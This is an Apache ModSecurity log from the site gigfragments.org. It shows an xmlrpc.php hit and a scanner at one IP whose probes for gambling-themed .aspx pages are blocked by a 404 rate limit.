[Sat Feb 07 06:43:05.594311 2026] [:error] [pid 50671:tid 50699] [client 194.127.192.224:46300] [client 194.127.192.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.127.192.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZuebvqLohWBI_mqBPyGQAAABM"]
[Sat Feb 07 07:15:00.922392 2026] [:error] [pid 50673:tid 50753] [client 217.182.194.16:39504] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYZ19GVwLsaZ7aKO2ckX5gAAAJI"]
[Sat Feb 07 07:15:02.910052 2026] [:error] [pid 55157:tid 55171] [client 217.182.194.16:37274] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYZ19n36JdtTn2bTEowFTAAAAQk"]
[Sat Feb 07 07:15:04.881525 2026] [:error] [pid 50672:tid 50718] [client 217.182.194.16:37280] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYZ1-A9o0jq1XS8Nv7OcjwAAAEo"]
[Sat Feb 07 07:15:06.916685 2026] [:error] [pid 50672:tid 50719] [client 217.182.194.16:37292] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYZ1-g9o0jq1XS8Nv7OckwAAAEs"]
[Sat Feb 07 07:15:09.039893 2026] [:error] [pid 55157:tid 55176] [client 217.182.194.16:40314] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYZ1_X36JdtTn2bTEowFUgAAAQ4"]
[Sat Feb 07 07:15:11.191536 2026] [:error] [pid 50671:tid 50696] [client 217.182.194.16:40324] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYZ1_7vqLohWBI_mqBP8bQAAABA"]
[Sat Feb 07 07:15:13.387778 2026] [:error] [pid 50671:tid 50690] [client 217.182.194.16:40330] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYZ2AbvqLohWBI_mqBP8cwAAAAo"]
[Sat Feb 07 07:15:15.433620 2026] [:error] [pid 55157:tid 55178] [client 217.182.194.16:40340] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYZ2A336JdtTn2bTEowFVwAAARA"]
[Sat Feb 07 07:15:17.590439 2026] [:error] [pid 50673:tid 50743] [client 217.182.194.16:40348] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYZ2BWVwLsaZ7aKO2ckX9QAAAIg"]
[Sat Feb 07 07:15:19.567871 2026] [:error] [pid 55157:tid 55182] [client 217.182.194.16:52164] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYZ2B336JdtTn2bTEowFXwAAARQ"]
[Sat Feb 07 07:15:21.752931 2026] [:error] [pid 50780:tid 50793] [client 217.182.194.16:52174] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYZ2CetUmIu2JHM2CrvDDgAAAMs"]
[Sat Feb 07 07:15:23.713308 2026] [:error] [pid 50671:tid 50704] [client 217.182.194.16:52190] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYZ2C7vqLohWBI_mqBP8fAAAABg"]
[Sat Feb 07 07:15:25.695827 2026] [:error] [pid 50671:tid 50686] [client 217.182.194.16:52206] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYZ2DbvqLohWBI_mqBP8fwAAAAY"]
[Sat Feb 07 07:15:27.585071 2026] [:error] [pid 50671:tid 50688] [client 217.182.194.16:52208] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYZ2D7vqLohWBI_mqBP8hAAAAAg"]
[Sat Feb 07 07:15:29.646449 2026] [:error] [pid 50673:tid 50748] [client 217.182.194.16:47886] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYZ2EWVwLsaZ7aKO2ckYBAAAAI0"]
[Sat Feb 07 07:15:31.890242 2026] [:error] [pid 43182:tid 43198] [client 217.182.194.16:47902] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYZ2E_EC82JnxmrnFYnilAAAAU4"]
[Sat Feb 07 07:15:33.990173 2026] [:error] [pid 43182:tid 43186] [client 217.182.194.16:47906] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYZ2FfEC82JnxmrnFYnimAAAAUI"]
[Sat Feb 07 07:15:35.904620 2026] [:error] [pid 55157:tid 55183] [client 217.182.194.16:47920] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYZ2F336JdtTn2bTEowFdgAAARU"]
[Sat Feb 07 07:15:37.816021 2026] [:error] [pid 43182:tid 43198] [client 217.182.194.16:47936] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYZ2GfEC82JnxmrnFYnioAAAAU4"]
[Sat Feb 07 07:15:39.988219 2026] [:error] [pid 43182:tid 43199] [client 217.182.194.16:41590] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYZ2G_EC82JnxmrnFYnipQAAAU8"]
[Sat Feb 07 07:15:41.890157 2026] [:error] [pid 55157:tid 55180] [client 217.182.194.16:41600] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYZ2HX36JdtTn2bTEowFfAAAARI"]
[Sat Feb 07 07:15:44.100845 2026] [:error] [pid 50673:tid 50737] [client 217.182.194.16:41612] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYZ2IGVwLsaZ7aKO2ckYEwAAAII"]
[Sat Feb 07 07:15:46.142163 2026] [:error] [pid 50671:tid 50698] [client 217.182.194.16:41616] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYZ2IrvqLohWBI_mqBP8kwAAABI"]
[Sat Feb 07 07:15:48.260503 2026] [:error] [pid 50672:tid 50720] [client 217.182.194.16:39614] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYZ2JA9o0jq1XS8Nv7OcswAAAEw"]
[Sat Feb 07 07:15:50.495941 2026] [:error] [pid 55157:tid 55183] [client 217.182.194.16:39618] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYZ2Jn36JdtTn2bTEowFggAAARU"]
[Sat Feb 07 07:15:53.077493 2026] [:error] [pid 50673:tid 50750] [client 217.182.194.16:39624] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYZ2KWVwLsaZ7aKO2ckYGQAAAI8"]
[Sat Feb 07 07:15:55.323361 2026] [:error] [pid 50673:tid 50740] [client 217.182.194.16:39630] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYZ2K2VwLsaZ7aKO2ckYGgAAAIU"]
[Sat Feb 07 07:16:33.370304 2026] [:error] [pid 50672:tid 50710] [client 217.182.194.16:39642] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aYZ2UQ9o0jq1XS8Nv7Oc4gAAAEI"]
[Sat Feb 07 07:16:35.211739 2026] [:error] [pid 55157:tid 55162] [client 217.182.194.16:49992] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYZ2U336JdtTn2bTEowFvQAAAQA"]
[Sat Feb 07 07:16:37.479431 2026] [:error] [pid 43182:tid 43196] [client 217.182.194.16:49998] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYZ2VfEC82JnxmrnFYni3QAAAUw"]
[Sat Feb 07 07:16:39.563235 2026] [:error] [pid 50672:tid 50724] [client 217.182.194.16:57306] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYZ2Vw9o0jq1XS8Nv7Oc5wAAAFA"]
[Sat Feb 07 07:16:41.538467 2026] [:error] [pid 50671:tid 50695] [client 217.182.194.16:57312] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYZ2WbvqLohWBI_mqBP83AAAAA8"]
[Sat Feb 07 07:16:43.499116 2026] [:error] [pid 50671:tid 50684] [client 217.182.194.16:57314] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYZ2W7vqLohWBI_mqBP83wAAAAQ"]
[Sat Feb 07 07:16:45.599053 2026] [:error] [pid 50671:tid 50702] [client 217.182.194.16:57330] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYZ2XbvqLohWBI_mqBP84wAAABY"]
[Sat Feb 07 07:16:47.564605 2026] [:error] [pid 50673:tid 50748] [client 217.182.194.16:57340] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYZ2X2VwLsaZ7aKO2ckYNAAAAI0"]
[Sat Feb 07 07:16:49.557303 2026] [:error] [pid 50671:tid 50687] [client 217.182.194.16:38550] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYZ2YbvqLohWBI_mqBP85wAAAAc"]
[Sat Feb 07 07:16:51.685912 2026] [:error] [pid 50780:tid 50803] [client 217.182.194.16:38552] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYZ2Y-tUmIu2JHM2CrvDTQAAANU"]
[Sat Feb 07 07:16:53.640279 2026] [:error] [pid 50673:tid 50738] [client 217.182.194.16:38568] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYZ2ZWVwLsaZ7aKO2ckYPwAAAIM"]
[Sat Feb 07 07:16:55.717456 2026] [:error] [pid 50671:tid 50694] [client 217.182.194.16:38582] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYZ2Z7vqLohWBI_mqBP86gAAAA4"]
[Sat Feb 07 07:16:57.821590 2026] [:error] [pid 50671:tid 50684] [client 217.182.194.16:38584] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYZ2abvqLohWBI_mqBP87AAAAAQ"]
[Sat Feb 07 07:16:59.823208 2026] [:error] [pid 50671:tid 50696] [client 217.182.194.16:42672] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYZ2a7vqLohWBI_mqBP87gAAABA"]
[Sat Feb 07 07:17:01.959764 2026] [:error] [pid 50673:tid 50756] [client 217.182.194.16:42684] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYZ2bWVwLsaZ7aKO2ckYSQAAAJU"]
[Sat Feb 07 07:17:04.207007 2026] [:error] [pid 50673:tid 50746] [client 217.182.194.16:42690] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYZ2cGVwLsaZ7aKO2ckYSwAAAIs"]
[Sat Feb 07 07:17:06.286020 2026] [:error] [pid 50673:tid 50755] [client 217.182.194.16:42698] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYZ2cmVwLsaZ7aKO2ckYTQAAAJQ"]
[Sat Feb 07 07:17:08.261677 2026] [:error] [pid 55157:tid 55167] [client 217.182.194.16:51798] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYZ2dH36JdtTn2bTEowF4AAAAQU"]
[Sat Feb 07 07:17:10.453733 2026] [:error] [pid 50672:tid 50732] [client 217.182.194.16:51808] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYZ2dg9o0jq1XS8Nv7OdCgAAAFg"]
[Sat Feb 07 07:17:12.645479 2026] [:error] [pid 50673:tid 50740] [client 217.182.194.16:51812] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYZ2eGVwLsaZ7aKO2ckYUwAAAIU"]
[Sat Feb 07 07:17:14.731236 2026] [:error] [pid 50673:tid 50738] [client 217.182.194.16:51818] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYZ2emVwLsaZ7aKO2ckYVwAAAIM"]
[Sat Feb 07 07:17:16.651011 2026] [:error] [pid 50673:tid 50755] [client 217.182.194.16:51830] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYZ2fGVwLsaZ7aKO2ckYWQAAAJQ"]
[Sat Feb 07 07:17:18.832759 2026] [:error] [pid 55157:tid 55172] [client 217.182.194.16:50792] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYZ2fn36JdtTn2bTEowF5QAAAQo"]
[Sat Feb 07 07:17:20.927754 2026] [:error] [pid 50780:tid 50801] [client 217.182.194.16:50798] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYZ2gOtUmIu2JHM2CrvDYgAAANM"]
[Sat Feb 07 07:17:22.980612 2026] [:error] [pid 50672:tid 50709] [client 217.182.194.16:50804] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYZ2gg9o0jq1XS8Nv7OdFgAAAEE"]
[Sat Feb 07 07:17:25.033651 2026] [:error] [pid 55157:tid 55178] [client 217.182.194.16:50808] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYZ2hX36JdtTn2bTEowF7QAAARA"]
[Sat Feb 07 07:17:27.185482 2026] [:error] [pid 50671:tid 50697] [client 217.182.194.16:50812] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYZ2h7vqLohWBI_mqBP9AQAAABE"]
